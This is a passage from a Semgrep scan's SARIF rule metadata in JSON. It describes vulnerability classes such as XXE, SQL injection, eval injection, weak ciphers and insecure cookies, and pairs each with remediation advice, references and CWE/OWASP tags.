Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.validator-xxe.validator-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.validator-xxe.validator-xxe","id":"kotlin.xxe.validator-xxe.validator-xxe","name":"kotlin.xxe.validator-xxe.validator-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.validator-xxe.validator-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`."},"help":{"markdown":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array](https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array)\n","text":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","id":"cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","name":"cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","properties":{"precision":"very-high","tags":["CWE-467: Use of sizeof() on a Pointer Type","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions."},"help":{"markdown":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.missing-ssl-version.missing-ssl-version)\n - [https://www.acunetix.com/blog/web-security-zone/hardening-nginx/](https://www.acunetix.com/blog/web-security-zone/hardening-nginx/)\n - [https://nginx.org/en/docs/http/configuring_https_servers.html](https://nginx.org/en/docs/http/configuring_https_servers.html)\n","text":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.missing-ssl-version.missing-ssl-version","id":"generic.nginx.security.missing-ssl-version.missing-ssl-version","name":"generic.nginx.security.missing-ssl-version.missing-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.missing-ssl-version.missing-ssl-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","id":"csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","name":"csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"help":{"markdown":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.nan-injection.nan-injection)\n - [https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868](https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868)\n - [https://blog.bitdiscovery.com/2021/12/python-nan-injection/](https://blog.bitdiscovery.com/2021/12/python-nan-injection/)\n","text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.nan-injection.nan-injection","id":"python.flask.security.injection.nan-injection.nan-injection","name":"python.flask.security.injection.nan-injection.nan-injection","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.nan-injection.nan-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection."},"help":{"markdown":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator)\n - [https://laravel.com/docs/9.x/validation#rule-unique](https://laravel.com/docs/9.x/validation#rule-unique)\n","text":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","id":"php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","name":"php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"python.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"python.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead."},"help":{"markdown":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.aiosqlite-flask.aiosqlite-flask)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.flask.db.aiosqlite-flask.aiosqlite-flask","id":"python.flask.db.aiosqlite-flask.aiosqlite-flask","name":"python.flask.db.aiosqlite-flask.aiosqlite-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.aiosqlite-flask.aiosqlite-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open)\n","text":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.eval-detected.eval-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.eval-detected.eval-detected","id":"python.lang.security.audit.eval-detected.eval-detected","name":"python.lang.security.audit.eval-detected.eval-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.eval-detected.eval-detected"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible."},"help":{"markdown":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.code-string-concat.code-string-concat)\n - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)\n - [https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback](https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback)\n - [https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/](https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/)\n - [https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html](https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html)\n","text":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.code-string-concat.code-string-concat","id":"javascript.lang.security.audit.code-string-concat.code-string-concat","name":"javascript.lang.security.audit.code-string-concat.code-string-concat","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.code-string-concat.code-string-concat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware."},"help":{"markdown":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","id":"swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","name":"swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","id":"python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","name":"python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","id":"python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","name":"python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters."},"help":{"markdown":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter)\n - [https://docs.djangoproject.com/en/3.2/ref/utils/#django.utils.html.format_html](https://docs.djangoproject.com/en/3.2/ref/utils/#django.utils.html.format_html)\n","text":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","id":"python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","name":"python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsCss](https://docs.angularjs.org/api/ng/service/$sce#trustAsCss)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","id":"javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","name":"javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site 